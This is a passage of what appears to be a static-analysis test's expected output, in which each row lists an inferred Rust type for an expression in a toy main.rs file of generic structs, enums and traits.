main.rs:596:5:597:14 | S2 | -| main.rs:703:15:703:18 | SelfParam | | main.rs:691:5:695:5 | MyEnum | -| main.rs:703:15:703:18 | SelfParam | A | main.rs:702:10:702:10 | T | -| main.rs:703:26:708:9 | { ... } | | main.rs:702:10:702:10 | T | -| main.rs:704:13:707:13 | match self { ... } | | main.rs:702:10:702:10 | T | -| main.rs:704:19:704:22 | self | | main.rs:691:5:695:5 | MyEnum | -| main.rs:704:19:704:22 | self | A | main.rs:702:10:702:10 | T | -| main.rs:705:28:705:28 | a | | main.rs:702:10:702:10 | T | -| main.rs:705:34:705:34 | a | | main.rs:702:10:702:10 | T | -| main.rs:706:30:706:30 | a | | main.rs:702:10:702:10 | T | -| main.rs:706:37:706:37 | a | | main.rs:702:10:702:10 | T | -| main.rs:712:13:712:13 | x | | main.rs:691:5:695:5 | MyEnum | -| main.rs:712:13:712:13 | x | A | main.rs:697:5:698:14 | S1 | -| main.rs:712:17:712:30 | ...::C1(...) | | main.rs:691:5:695:5 | MyEnum | -| main.rs:712:17:712:30 | ...::C1(...) | A | main.rs:697:5:698:14 | S1 | -| main.rs:712:28:712:29 | S1 | | main.rs:697:5:698:14 | S1 | -| main.rs:713:13:713:13 | y | | main.rs:691:5:695:5 | MyEnum | -| main.rs:713:13:713:13 | y | A | main.rs:699:5:700:14 | S2 | -| main.rs:713:17:713:36 | ...::C2 {...} | | main.rs:691:5:695:5 | MyEnum | -| main.rs:713:17:713:36 | ...::C2 {...} | A | main.rs:699:5:700:14 | S2 | -| main.rs:713:33:713:34 | S2 | | main.rs:699:5:700:14 | S2 | -| main.rs:715:18:715:23 | "{:?}\\n" | | file:///BUILTINS/types.rs:8:1:8:15 | str | -| main.rs:715:26:715:26 | x | | main.rs:691:5:695:5 | MyEnum | -| main.rs:715:26:715:26 | x | A | main.rs:697:5:698:14 | S1 | -| main.rs:715:26:715:31 | x.m1() | | main.rs:697:5:698:14 | S1 | -| main.rs:716:18:716:23 | "{:?}\\n" | | file:///BUILTINS/types.rs:8:1:8:15 | str | -| main.rs:716:26:716:26 | y | | main.rs:691:5:695:5 | MyEnum | -| main.rs:716:26:716:26 | y | A | main.rs:699:5:700:14 | S2 | -| main.rs:716:26:716:31 | y.m1() | | main.rs:699:5:700:14 | S2 | -| main.rs:738:15:738:18 | SelfParam | | main.rs:736:5:739:5 | Self [trait MyTrait1] | -| main.rs:742:15:742:18 | SelfParam | | main.rs:741:5:752:5 | Self [trait MyTrait2] | -| main.rs:745:9:751:9 | { ... } | | main.rs:741:20:741:22 | Tr2 | -| main.rs:746:13:750:13 | if ... {...} else {...} | | main.rs:741:20:741:22 | Tr2 | -| main.rs:746:16:746:16 | 1 | | file:///BUILTINS/types.rs:12:1:12:15 | i32 | -| main.rs:746:20:746:20 | 1 | | file:///BUILTINS/types.rs:12:1:12:15 | i32 | -| main.rs:746:24:746:24 | 2 | | file:///BUILTINS/types.rs:12:1:12:15 | i32 | -| main.rs:746:26:748:13 | { ... } | | main.rs:741:20:741:22 | Tr2 | -| main.rs:747:17:747:20 | self | | main.rs:741:5:752:5 | Self [trait MyTrait2] | -| main.rs:747:17:747:25 | self.m1() | | main.rs:741:20:741:22 | Tr2 | -| main.rs:748:20:750:13 | { ... } | | main.rs:741:20:741:22 | Tr2 | -| main.rs:749:17:749:30 | ...::m1(...) | | main.rs:741:20:741:22 | Tr2 | -| main.rs:749:26:749:29 | self | | main.rs:741:5:752:5 | Self [trait MyTrait2] | -| main.rs:755:15:755:18 | SelfParam | | main.rs:754:5:765:5 | Self [trait MyTrait3] | -| main.rs:758:9:764:9 | { ... } | | main.rs:754:20:754:22 | Tr3 | -| main.rs:759:13:763:13 | if ... {...} else {...} | | main.rs:754:20:754:22 | Tr3 | -| main.rs:759:16:759:16 | 1 | | file:///BUILTINS/types.rs:12:1:12:15 | i32 | -| main.rs:759:20:759:20 | 1 | | file:///BUILTINS/types.rs:12:1:12:15 | i32 | -| main.rs:759:24:759:24 | 2 | | file:///BUILTINS/types.rs:12:1:12:15 | i32 | -| main.rs:759:26:761:13 | { ... } | | main.rs:754:20:754:22 | Tr3 | -| main.rs:760:17:760:20 | self | | main.rs:754:5:765:5 | Self [trait MyTrait3] | -| main.rs:760:17:760:25 | self.m2() | | main.rs:721:5:724:5 | MyThing | -| main.rs:760:17:760:25 | self.m2() | A | main.rs:754:20:754:22 | Tr3 | -| main.rs:760:17:760:27 | ... .a | | main.rs:754:20:754:22 | Tr3 | -| main.rs:761:20:763:13 | { ... } | | main.rs:754:20:754:22 | Tr3 | -| main.rs:762:17:762:30 | ...::m2(...) | | main.rs:721:5:724:5 | MyThing | -| main.rs:762:17:762:30 | ...::m2(...) | A | main.rs:754:20:754:22 | Tr3 | -| main.rs:762:17:762:32 | ... .a | | main.rs:754:20:754:22 | Tr3 | -| main.rs:762:26:762:29 | self | | main.rs:754:5:765:5 | Self [trait MyTrait3] | -| main.rs:769:15:769:18 | SelfParam | | main.rs:721:5:724:5 | MyThing | -| main.rs:769:15:769:18 | SelfParam | A | main.rs:767:10:767:10 | T | -| main.rs:769:26:771:9 | { ... } | | main.rs:767:10:767:10 | T | -| main.rs:770:13:770:16 | self | | main.rs:721:5:724:5 | MyThing | -| main.rs:770:13:770:16 | self | A | main.rs:767:10:767:10 | T | -| main.rs:770:13:770:18 | self.a | | main.rs:767:10:767:10 | T | -| main.rs:778:15:778:18 | SelfParam | | main.rs:726:5:729:5 | MyThing2 | -| main.rs:778:15:778:18 | SelfParam | A | main.rs:776:10:776:10 | T | -| main.rs:778:35:780:9 | { ... } | | main.rs:721:5:724:5 | MyThing | -| main.rs:778:35:780:9 | { ... } | A | main.rs:776:10:776:10 | T | -| main.rs:779:13:779:33 | MyThing {...} | | main.rs:721:5:724:5 | MyThing | -| main.rs:779:13:779:33 | MyThing {...} | A | main.rs:776:10:776:10 | T | -| main.rs:779:26:779:29 | self | | main.rs:726:5:729:5 | MyThing2 | -| main.rs:779:26:779:29 | self | A | main.rs:776:10:776:10 | T | -| main.rs:779:26:779:31 | self.a | | main.rs:776:10:776:10 | T | -| main.rs:787:44:787:44 | x | | main.rs:787:26:787:41 | T2 | -| main.rs:787:57:789:5 | { ... } | | main.rs:787:22:787:23 | T1 | -| main.rs:788:9:788:9 | x | | main.rs:787:26:787:41 | T2 | -| main.rs:788:9:788:14 | x.m1() | | main.rs:787:22:787:23 | T1 | -| main.rs:791:56:791:56 | x | | main.rs:791:39:791:53 | T | -| main.rs:793:13:793:13 | a | | main.rs:721:5:724:5 | MyThing | -| main.rs:793:13:793:13 | a | A | main.rs:731:5:732:14 | S1 | -| main.rs:793:17:793:17 | x | | main.rs:791:39:791:53 | T | -| main.rs:793:17:793:22 | x.m1() | | main.rs:721:5:724:5 | MyThing | -| main.rs:793:17:793:22 | x.m1() | A | main.rs:731:5:732:14 | S1 | -| main.rs:794:18:794:23 | "{:?}\\n" | | file:///BUILTINS/types.rs:8:1:8:15 | str | -| main.rs:794:26:794:26 | a | | main.rs:721:5:724:5 | MyThing | -| main.rs:794:26:794:26 | a | A | main.rs:731:5:732:14 | S1 | -| main.rs:798:13:798:13 | x | | main.rs:721:5:724:5 | MyThing | -| main.rs:798:13:798:13 | x | A | main.rs:731:5:732:14 | S1 | -| main.rs:798:17:798:33 | MyThing {...} | | main.rs:721:5:724:5 | MyThing | -| main.rs:798:17:798:33 | MyThing {...} | A | main.rs:731:5:732:14 | S1 | -| main.rs:798:30:798:31 | S1 | | main.rs:731:5:732:14 | S1 | -| main.rs:799:13:799:13 | y | | main.rs:721:5:724:5 | MyThing | -| main.rs:799:13:799:13 | y | A | main.rs:733:5:734:14 | S2 | -| main.rs:799:17:799:33 | MyThing {...} | | main.rs:721:5:724:5 | MyThing | -| main.rs:799:17:799:33 | MyThing {...} | A | main.rs:733:5:734:14 | S2 | -| main.rs:799:30:799:31 | S2 | | main.rs:733:5:734:14 | S2 | -| main.rs:801:18:801:23 | "{:?}\\n" | | file:///BUILTINS/types.rs:8:1:8:15 | str | -| main.rs:801:26:801:26 | x | | main.rs:721:5:724:5 | MyThing | -| main.rs:801:26:801:26 | x | A | main.rs:731:5:732:14 | S1 | -| main.rs:801:26:801:31 | x.m1() | | main.rs:731:5:732:14 | S1 | -| main.rs:802:18:802:23 | "{:?}\\n" | | file:///BUILTINS/types.rs:8:1:8:15 | str | -| main.rs:802:26:802:26 | y | | main.rs:721:5:724:5 | MyThing | -| main.rs:802:26:802:26 | y | A | main.rs:733:5:734:14 | S2 | -| main.rs:802:26:802:31 | y.m1() | | main.rs:733:5:734:14 | S2 | -| main.rs:804:13:804:13 | x | | main.rs:721:5:724:5 | MyThing | -| main.rs:804:13:804:13 | x | A | main.rs:731:5:732:14 | S1 | -| main.rs:804:17:804:33 | MyThing {...} | | main.rs:721:5:724:5 | MyThing | -| main.rs:804:17:804:33 | MyThing {...} | A | main.rs:731:5:732:14 | S1 | -| main.rs:804:30:804:31 | S1 | | main.rs:731:5:732:14 | S1 | -| main.rs:805:13:805:13 | y | | main.rs:721:5:724:5 | MyThing | -| main.rs:805:13:805:13 | y | A | main.rs:733:5:734:14 | S2 | -| main.rs:805:17:805:33 | MyThing {...} | | main.rs:721:5:724:5 | MyThing | -| main.rs:805:17:805:33 | MyThing {...} | A | main.rs:733:5:734:14 | S2 | -| main.rs:805:30:805:31 | S2 | | main.rs:733:5:734:14 | S2 | -| main.rs:807:18:807:23 | "{:?}\\n" | | file:///BUILTINS/types.rs:8:1:8:15 | str | -| main.rs:807:26:807:26 | x | | main.rs:721:5:724:5 | MyThing | -| main.rs:807:26:807:26 | x | A | main.rs:731:5:732:14 | S1 | -| main.rs:807:26:807:31 | x.m2() | | main.rs:731:5:732:14 | S1 | -| main.rs:808:18:808:23 | "{:?}\\n" | | file:///BUILTINS/types.rs:8:1:8:15 | str | -| main.rs:808:26:808:26 | y | | main.rs:721:5:724:5 | MyThing | -| main.rs:808:26:808:26 | y | A | main.rs:733:5:734:14 | S2 | -| main.rs:808:26:808:31 | y.m2() | | main.rs:733:5:734:14 | S2 | -| main.rs:810:13:810:13 | x | | main.rs:726:5:729:5 | MyThing2 | -| main.rs:810:13:810:13 | x | A | main.rs:731:5:732:14 | S1 | -| main.rs:810:17:810:34 | MyThing2 {...} | | main.rs:726:5:729:5 | MyThing2 | -| main.rs:810:17:810:34 | MyThing2 {...} | A | main.rs:731:5:732:14 | S1 | -| main.rs:810:31:810:32 | S1 | | main.rs:731:5:732:14 | S1 | -| main.rs:811:13:811:13 | y | | main.rs:726:5:729:5 | MyThing2 | -| main.rs:811:13:811:13 | y | A | main.rs:733:5:734:14 | S2 | -| main.rs:811:17:811:34 | MyThing2 {...} | | main.rs:726:5:729:5 | MyThing2 | -| main.rs:811:17:811:34 | MyThing2 {...} | A | main.rs:733:5:734:14 | S2 | -| main.rs:811:31:811:32 | S2 | | main.rs:733:5:734:14 | S2 | -| main.rs:813:18:813:23 | "{:?}\\n" | | file:///BUILTINS/types.rs:8:1:8:15 | str | -| main.rs:813:26:813:26 | x | | main.rs:726:5:729:5 | MyThing2 | -| main.rs:813:26:813:26 | x | A | main.rs:731:5:732:14 | S1 | -| main.rs:813:26:813:31 | x.m3() | | main.rs:731:5:732:14 | S1 | -| main.rs:814:18:814:23 | "{:?}\\n" | | file:///BUILTINS/types.rs:8:1:8:15 | str | -| main.rs:814:26:814:26 | y | | main.rs:726:5:729:5 | MyThing2 | -| main.rs:814:26:814:26 | y | A | main.rs:733:5:734:14 | S2 | -| main.rs:814:26:814:31 | y.m3() | | main.rs:733:5:734:14 | S2 | -| main.rs:816:13:816:13 | x | | main.rs:721:5:724:5 | MyThing | -| main.rs:816:13:816:13 | x | A | main.rs:731:5:732:14 | S1 | -| main.rs:816:17:816:33 | MyThing {...} | | main.rs:721:5:724:5 | MyThing | -| main.rs:816:17:816:33 | MyThing {...} | A | main.rs:731:5:732:14 | S1 | -| main.rs:816:30:816:31 | S1 | | main.rs:731:5:732:14 | S1 | -| main.rs:817:13:817:13 | s | | main.rs:731:5:732:14 | S1 | -| main.rs:817:17:817:32 | call_trait_m1(...) | | main.rs:731:5:732:14 | S1 | -| main.rs:817:31:817:31 | x | | main.rs:721:5:724:5 | MyThing | -| main.rs:817:31:817:31 | x | A | main.rs:731:5:732:14 | S1 | -| main.rs:819:13:819:13 | x | | main.rs:726:5:729:5 | MyThing2 | -| main.rs:819:13:819:13 | x | A | main.rs:733:5:734:14 | S2 | -| main.rs:819:17:819:34 | MyThing2 {...} | | main.rs:726:5:729:5 | MyThing2 | -| main.rs:819:17:819:34 | MyThing2 {...} | A | main.rs:733:5:734:14 | S2 | -| main.rs:819:31:819:32 | S2 | | main.rs:733:5:734:14 | S2 | -| main.rs:820:13:820:13 | s | | main.rs:721:5:724:5 | MyThing | -| main.rs:820:13:820:13 | s | A | main.rs:733:5:734:14 | S2 | -| main.rs:820:17:820:32 | call_trait_m1(...) | | main.rs:721:5:724:5 | MyThing | -| main.rs:820:17:820:32 | call_trait_m1(...) | A | main.rs:733:5:734:14 | S2 | -| main.rs:820:31:820:31 | x | | main.rs:726:5:729:5 | MyThing2 | -| main.rs:820:31:820:31 | x | A | main.rs:733:5:734:14 | S2 | -| main.rs:838:22:838:22 | x | | file://:0:0:0:0 | & | -| main.rs:838:22:838:22 | x | &T | main.rs:838:11:838:19 | T | -| main.rs:838:35:840:5 | { ... } | | file://:0:0:0:0 | & | -| main.rs:838:35:840:5 | { ... } | &T | main.rs:838:11:838:19 | T | -| main.rs:839:9:839:9 | x | | file://:0:0:0:0 | & | -| main.rs:839:9:839:9 | x | &T | main.rs:838:11:838:19 | T | -| main.rs:843:17:843:20 | SelfParam | | main.rs:828:5:829:14 | S1 | -| main.rs:843:29:845:9 | { ... } | | main.rs:831:5:832:14 | S2 | -| main.rs:844:13:844:14 | S2 | | main.rs:831:5:832:14 | S2 | -| main.rs:848:21:848:21 | x | | main.rs:848:13:848:14 | T1 | -| main.rs:851:5:853:5 | { ... } | | main.rs:848:17:848:18 | T2 | -| main.rs:852:9:852:9 | x | | main.rs:848:13:848:14 | T1 | -| main.rs:852:9:852:16 | x.into() | | main.rs:848:17:848:18 | T2 | -| main.rs:856:13:856:13 | x | | main.rs:828:5:829:14 | S1 | -| main.rs:856:17:856:18 | S1 | | main.rs:828:5:829:14 | S1 | -| main.rs:857:18:857:23 | "{:?}\\n" | | file:///BUILTINS/types.rs:8:1:8:15 | str | -| main.rs:857:26:857:31 | id(...) | | file://:0:0:0:0 | & | -| main.rs:857:26:857:31 | id(...) | &T | main.rs:828:5:829:14 | S1 | -| main.rs:857:29:857:30 | &x | | file://:0:0:0:0 | & | -| main.rs:857:29:857:30 | &x | &T | main.rs:828:5:829:14 | S1 | -| main.rs:857:30:857:30 | x | | main.rs:828:5:829:14 | S1 | -| main.rs:859:13:859:13 | x | | main.rs:828:5:829:14 | S1 | -| main.rs:859:17:859:18 | S1 | | main.rs:828:5:829:14 | S1 | -| main.rs:860:18:860:23 | "{:?}\\n" | | file:///BUILTINS/types.rs:8:1:8:15 | str | -| main.rs:860:26:860:37 | id::<...>(...) | | file://:0:0:0:0 | & | -| main.rs:860:26:860:37 | id::<...>(...) | &T | main.rs:828:5:829:14 | S1 | -| main.rs:860:35:860:36 | &x | | file://:0:0:0:0 | & | -| main.rs:860:35:860:36 | &x | &T | main.rs:828:5:829:14 | S1 | -| main.rs:860:36:860:36 | x | | main.rs:828:5:829:14 | S1 | -| main.rs:862:13:862:13 | x | | main.rs:828:5:829:14 | S1 | -| main.rs:862:17:862:18 | S1 | | main.rs:828:5:829:14 | S1 | -| main.rs:863:18:863:23 | "{:?}\\n" | | file:///BUILTINS/types.rs:8:1:8:15 | str | -| main.rs:863:26:863:44 | id::<...>(...) | | file://:0:0:0:0 | & | -| main.rs:863:26:863:44 | id::<...>(...) | &T | main.rs:828:5:829:14 | S1 | -| main.rs:863:42:863:43 | &x | | file://:0:0:0:0 | & | -| main.rs:863:42:863:43 | &x | &T | main.rs:828:5:829:14 | S1 | -| main.rs:863:43:863:43 | x | | main.rs:828:5:829:14 | S1 | -| main.rs:865:13:865:13 | x | | main.rs:828:5:829:14 | S1 | -| main.rs:865:17:865:18 | S1 | | main.rs:828:5:829:14 | S1 | -| main.rs:866:9:866:25 | into::<...>(...) | | main.rs:831:5:832:14 | S2 | -| main.rs:866:24:866:24 | x | | main.rs:828:5:829:14 | S1 | -| main.rs:868:13:868:13 | x | | main.rs:828:5:829:14 | S1 | -| main.rs:868:17:868:18 | S1 | | main.rs:828:5:829:14 | S1 | -| main.rs:869:13:869:13 | y | | main.rs:831:5:832:14 | S2 | -| main.rs:869:21:869:27 | into(...) | | main.rs:831:5:832:14 | S2 | -| main.rs:869:26:869:26 | x | | main.rs:828:5:829:14 | S1 | -| main.rs:883:22:883:25 | SelfParam | | main.rs:874:5:880:5 | PairOption | -| main.rs:883:22:883:25 | SelfParam | Fst | main.rs:882:10:882:12 | Fst | -| main.rs:883:22:883:25 | SelfParam | Snd | main.rs:882:15:882:17 | Snd | -| main.rs:883:35:890:9 | { ... } | | main.rs:882:15:882:17 | Snd | -| main.rs:884:13:889:13 | match self { ... } | | main.rs:882:15:882:17 | Snd | -| main.rs:884:19:884:22 | self | | main.rs:874:5:880:5 | PairOption | -| main.rs:884:19:884:22 | self | Fst | main.rs:882:10:882:12 | Fst | -| main.rs:884:19:884:22 | self | Snd | main.rs:882:15:882:17 | Snd | -| main.rs:885:43:885:82 | MacroExpr | | main.rs:882:15:882:17 | Snd | -| main.rs:885:50:885:81 | "PairNone has no second elemen... | | file:///BUILTINS/types.rs:8:1:8:15 | str | -| main.rs:886:43:886:81 | MacroExpr | | main.rs:882:15:882:17 | Snd | -| main.rs:886:50:886:80 | "PairFst has no second element... | | file:///BUILTINS/types.rs:8:1:8:15 | str | -| main.rs:887:37:887:39 | snd | | main.rs:882:15:882:17 | Snd | -| main.rs:887:45:887:47 | snd | | main.rs:882:15:882:17 | Snd | -| main.rs:888:41:888:43 | snd | | main.rs:882:15:882:17 | Snd | -| main.rs:888:49:888:51 | snd | | main.rs:882:15:882:17 | Snd | -| main.rs:914:10:914:10 | t | | main.rs:874:5:880:5 | PairOption | -| main.rs:914:10:914:10 | t | Fst | main.rs:896:5:897:14 | S2 | -| main.rs:914:10:914:10 | t | Snd | main.rs:874:5:880:5 | PairOption | -| main.rs:914:10:914:10 | t | Snd.Fst | main.rs:896:5:897:14 | S2 | -| main.rs:914:10:914:10 | t | Snd.Snd | main.rs:899:5:900:14 | S3 | -| main.rs:915:13:915:13 | x | | main.rs:899:5:900:14 | S3 | -| main.rs:915:17:915:17 | t | | main.rs:874:5:880:5 | PairOption | -| main.rs:915:17:915:17 | t | Fst | main.rs:896:5:897:14 | S2 | -| main.rs:915:17:915:17 | t | Snd | main.rs:874:5:880:5 | PairOption | -| main.rs:915:17:915:17 | t | Snd.Fst | main.rs:896:5:897:14 | S2 | -| main.rs:915:17:915:17 | t | Snd.Snd | main.rs:899:5:900:14 | S3 | -| main.rs:915:17:915:29 | t.unwrapSnd() | | main.rs:874:5:880:5 | PairOption | -| main.rs:915:17:915:29 | t.unwrapSnd() | Fst | main.rs:896:5:897:14 | S2 | -| main.rs:915:17:915:29 | t.unwrapSnd() | Snd | main.rs:899:5:900:14 | S3 | -| main.rs:915:17:915:41 | ... .unwrapSnd() | | main.rs:899:5:900:14 | S3 | -| main.rs:916:18:916:23 | "{:?}\\n" | | file:///BUILTINS/types.rs:8:1:8:15 | str | -| main.rs:916:26:916:26 | x | | main.rs:899:5:900:14 | S3 | -| main.rs:921:13:921:14 | p1 | | main.rs:874:5:880:5 | PairOption | -| main.rs:921:13:921:14 | p1 | Fst | main.rs:893:5:894:14 | S1 | -| main.rs:921:13:921:14 | p1 | Snd | main.rs:896:5:897:14 | S2 | -| main.rs:921:26:921:53 | ...::PairBoth(...) | | main.rs:874:5:880:5 | PairOption | -| main.rs:921:26:921:53 | ...::PairBoth(...) | Fst | main.rs:893:5:894:14 | S1 | -| main.rs:921:26:921:53 | ...::PairBoth(...) | Snd | main.rs:896:5:897:14 | S2 | -| main.rs:921:47:921:48 | S1 | | main.rs:893:5:894:14 | S1 | -| main.rs:921:51:921:52 | S2 | | main.rs:896:5:897:14 | S2 | -| main.rs:922:18:922:23 | "{:?}\\n" | | file:///BUILTINS/types.rs:8:1:8:15 | str | -| main.rs:922:26:922:27 | p1 | | main.rs:874:5:880:5 | PairOption | -| main.rs:922:26:922:27 | p1 | Fst | main.rs:893:5:894:14 | S1 | -| main.rs:922:26:922:27 | p1 | Snd | main.rs:896:5:897:14 | S2 | -| main.rs:925:13:925:14 | p2 | | main.rs:874:5:880:5 | PairOption | -| main.rs:925:13:925:14 | p2 | Fst | main.rs:893:5:894:14 | S1 | -| main.rs:925:13:925:14 | p2 | Snd | main.rs:896:5:897:14 | S2 | -| main.rs:925:26:925:47 | ...::PairNone(...) | | main.rs:874:5:880:5 | PairOption | -| main.rs:925:26:925:47 | ...::PairNone(...) | Fst | main.rs:893:5:894:14 | S1 | -| main.rs:925:26:925:47 | ...::PairNone(...) | Snd | main.rs:896:5:897:14 | S2 | -| main.rs:926:18:926:23 | "{:?}\\n" | | file:///BUILTINS/types.rs:8:1:8:15 | str | -| main.rs:926:26:926:27 | p2 | | main.rs:874:5:880:5 | PairOption | -| main.rs:926:26:926:27 | p2 | Fst | main.rs:893:5:894:14 | S1 | -| main.rs:926:26:926:27 | p2 | Snd | main.rs:896:5:897:14 | S2 | -| main.rs:929:13:929:14 | p3 | | main.rs:874:5:880:5 | PairOption | -| main.rs:929:13:929:14 | p3 | Fst | main.rs:896:5:897:14 | S2 | -| main.rs:929:13:929:14 | p3 | Snd | main.rs:899:5:900:14 | S3 | -| main.rs:929:34:929:56 | ...::PairSnd(...) | | main.rs:874:5:880:5 | PairOption | -| main.rs:929:34:929:56 | ...::PairSnd(...) | Fst | main.rs:896:5:897:14 | S2 | -| main.rs:929:34:929:56 | ...::PairSnd(...) | Snd | main.rs:899:5:900:14 | S3 | -| main.rs:929:54:929:55 | S3 | | main.rs:899:5:900:14 | S3 | -| main.rs:930:18:930:23 | "{:?}\\n" | | file:///BUILTINS/types.rs:8:1:8:15 | str | -| main.rs:930:26:930:27 | p3 | | main.rs:874:5:880:5 | PairOption | -| main.rs:930:26:930:27 | p3 | Fst | main.rs:896:5:897:14 | S2 | -| main.rs:930:26:930:27 | p3 | Snd | main.rs:899:5:900:14 | S3 | -| main.rs:933:13:933:14 | p3 | | main.rs:874:5:880:5 | PairOption | -| main.rs:933:13:933:14 | p3 | Fst | main.rs:896:5:897:14 | S2 | -| main.rs:933:13:933:14 | p3 | Snd | main.rs:899:5:900:14 | S3 | -| main.rs:933:35:933:56 | ...::PairNone(...) | | main.rs:874:5:880:5 | PairOption | -| main.rs:933:35:933:56 | ...::PairNone(...) | Fst | main.rs:896:5:897:14 | S2 | -| main.rs:933:35:933:56 | ...::PairNone(...) | Snd | main.rs:899:5:900:14 | S3 | -| main.rs:934:18:934:23 | "{:?}\\n" | | file:///BUILTINS/types.rs:8:1:8:15 | str | -| main.rs:934:26:934:27 | p3 | | main.rs:874:5:880:5 | PairOption | -| main.rs:934:26:934:27 | p3 | Fst | main.rs:896:5:897:14 | S2 | -| main.rs:934:26:934:27 | p3 | Snd | main.rs:899:5:900:14 | S3 | -| main.rs:936:11:936:54 | ...::PairSnd(...) | | main.rs:874:5:880:5 | PairOption | -| main.rs:936:11:936:54 | ...::PairSnd(...) | Fst | main.rs:896:5:897:14 | S2 | -| main.rs:936:11:936:54 | ...::PairSnd(...) | Snd | main.rs:874:5:880:5 | PairOption | -| main.rs:936:11:936:54 | ...::PairSnd(...) | Snd.Fst | main.rs:896:5:897:14 | S2 | -| main.rs:936:11:936:54 | ...::PairSnd(...) | Snd.Snd | main.rs:899:5:900:14 | S3 | -| main.rs:936:31:936:53 | ...::PairSnd(...) | | main.rs:874:5:880:5 | PairOption | -| main.rs:936:31:936:53 | ...::PairSnd(...) | Fst | main.rs:896:5:897:14 | S2 | -| main.rs:936:31:936:53 | ...::PairSnd(...) | Snd | main.rs:899:5:900:14 | S3 | -| main.rs:936:51:936:52 | S3 | | main.rs:899:5:900:14 | S3 | -| main.rs:949:16:949:24 | SelfParam | | file://:0:0:0:0 | & | -| main.rs:949:16:949:24 | SelfParam | &T | main.rs:947:5:954:5 | Self [trait MyTrait] | -| main.rs:949:27:949:31 | value | | main.rs:947:19:947:19 | S | -| main.rs:951:21:951:29 | SelfParam | | file://:0:0:0:0 | & | -| main.rs:951:21:951:29 | SelfParam | &T | main.rs:947:5:954:5 | Self [trait MyTrait] | -| main.rs:951:32:951:36 | value | | main.rs:947:19:947:19 | S | -| main.rs:952:13:952:16 | self | | file://:0:0:0:0 | & | -| main.rs:952:13:952:16 | self | &T | main.rs:947:5:954:5 | Self [trait MyTrait] | -| main.rs:952:22:952:26 | value | | main.rs:947:19:947:19 | S | -| main.rs:958:16:958:24 | SelfParam | | file://:0:0:0:0 | & | -| main.rs:958:16:958:24 | SelfParam | &T | main.rs:941:5:945:5 | MyOption | -| main.rs:958:16:958:24 | SelfParam | &T.T | main.rs:956:10:956:10 | T | -| main.rs:958:27:958:31 | value | | main.rs:956:10:956:10 | T | -| main.rs:962:26:964:9 | { ... } | | main.rs:941:5:945:5 | MyOption | -| main.rs:962:26:964:9 | { ... } | T | main.rs:961:10:961:10 | T | -| main.rs:963:13:963:30 | ...::MyNone(...) | | main.rs:941:5:945:5 | MyOption | -| main.rs:963:13:963:30 | ...::MyNone(...) | T | main.rs:961:10:961:10 | T | -| main.rs:968:20:968:23 | SelfParam | | main.rs:941:5:945:5 | MyOption | -| main.rs:968:20:968:23 | SelfParam | T | main.rs:941:5:945:5 | MyOption | -| main.rs:968:20:968:23 | SelfParam | T.T | main.rs:967:10:967:10 | T | -| main.rs:968:41:973:9 | { ... } | | main.rs:941:5:945:5 | MyOption | -| main.rs:968:41:973:9 | { ... } | T | main.rs:967:10:967:10 | T | -| main.rs:969:13:972:13 | match self { ... } | | main.rs:941:5:945:5 | MyOption | -| main.rs:969:13:972:13 | match self { ... } | T | main.rs:967:10:967:10 | T | -| main.rs:969:19:969:22 | self | | main.rs:941:5:945:5 | MyOption | -| main.rs:969:19:969:22 | self | T | main.rs:941:5:945:5 | MyOption | -| main.rs:969:19:969:22 | self | T.T | main.rs:967:10:967:10 | T | -| main.rs:970:39:970:56 | ...::MyNone(...) | | main.rs:941:5:945:5 | MyOption | -| main.rs:970:39:970:56 | ...::MyNone(...) | T | main.rs:967:10:967:10 | T | -| main.rs:971:34:971:34 | x | | main.rs:941:5:945:5 | MyOption | -| main.rs:971:34:971:34 | x | T | main.rs:967:10:967:10 | T | -| main.rs:971:40:971:40 | x | | main.rs:941:5:945:5 | MyOption | -| main.rs:971:40:971:40 | x | T | main.rs:967:10:967:10 | T | -| main.rs:980:13:980:14 | x1 | | main.rs:941:5:945:5 | MyOption | -| main.rs:980:18:980:37 | ...::new(...) | | main.rs:941:5:945:5 | MyOption | -| main.rs:981:18:981:23 | "{:?}\\n" | | file:///BUILTINS/types.rs:8:1:8:15 | str | -| main.rs:981:26:981:27 | x1 | | main.rs:941:5:945:5 | MyOption | -| main.rs:983:13:983:18 | mut x2 | | main.rs:941:5:945:5 | MyOption | -| main.rs:983:13:983:18 | mut x2 | T | main.rs:976:5:977:13 | S | -| main.rs:983:22:983:36 | ...::new(...) | | main.rs:941:5:945:5 | MyOption | -| main.rs:983:22:983:36 | ...::new(...) | T | main.rs:976:5:977:13 | S | -| main.rs:984:9:984:10 | x2 | | main.rs:941:5:945:5 | MyOption | -| main.rs:984:9:984:10 | x2 | T | main.rs:976:5:977:13 | S | -| main.rs:984:16:984:16 | S | | main.rs:976:5:977:13 | S | -| main.rs:985:18:985:23 | "{:?}\\n" | | file:///BUILTINS/types.rs:8:1:8:15 | str | -| main.rs:985:26:985:27 | x2 | | main.rs:941:5:945:5 | MyOption | -| main.rs:985:26:985:27 | x2 | T | main.rs:976:5:977:13 | S | -| main.rs:987:13:987:18 | mut x3 | | main.rs:941:5:945:5 | MyOption | -| main.rs:987:22:987:36 | ...::new(...) | | main.rs:941:5:945:5 | MyOption | -| main.rs:988:9:988:10 | x3 | | main.rs:941:5:945:5 | MyOption | -| main.rs:988:21:988:21 | S | | main.rs:976:5:977:13 | S | -| main.rs:989:18:989:23 | "{:?}\\n" | | file:///BUILTINS/types.rs:8:1:8:15 | str | -| main.rs:989:26:989:27 | x3 | | main.rs:941:5:945:5 | MyOption | -| main.rs:991:13:991:18 | mut x4 | | main.rs:941:5:945:5 | MyOption | -| main.rs:991:13:991:18 | mut x4 | T | main.rs:976:5:977:13 | S | -| main.rs:991:22:991:36 | ...::new(...) | | main.rs:941:5:945:5 | MyOption | -| main.rs:991:22:991:36 | ...::new(...) | T | main.rs:976:5:977:13 | S | -| main.rs:992:23:992:29 | &mut x4 | | file://:0:0:0:0 | & | -| main.rs:992:23:992:29 | &mut x4 | &T | main.rs:941:5:945:5 | MyOption | -| main.rs:992:23:992:29 | &mut x4 | &T.T | main.rs:976:5:977:13 | S | -| main.rs:992:28:992:29 | x4 | | main.rs:941:5:945:5 | MyOption | -| main.rs:992:28:992:29 | x4 | T | main.rs:976:5:977:13 | S | -| main.rs:992:32:992:32 | S | | main.rs:976:5:977:13 | S | -| main.rs:993:18:993:23 | "{:?}\\n" | | file:///BUILTINS/types.rs:8:1:8:15 | str | -| main.rs:993:26:993:27 | x4 | | main.rs:941:5:945:5 | MyOption | -| main.rs:993:26:993:27 | x4 | T | main.rs:976:5:977:13 | S | -| main.rs:995:13:995:14 | x5 | | main.rs:941:5:945:5 | MyOption | -| 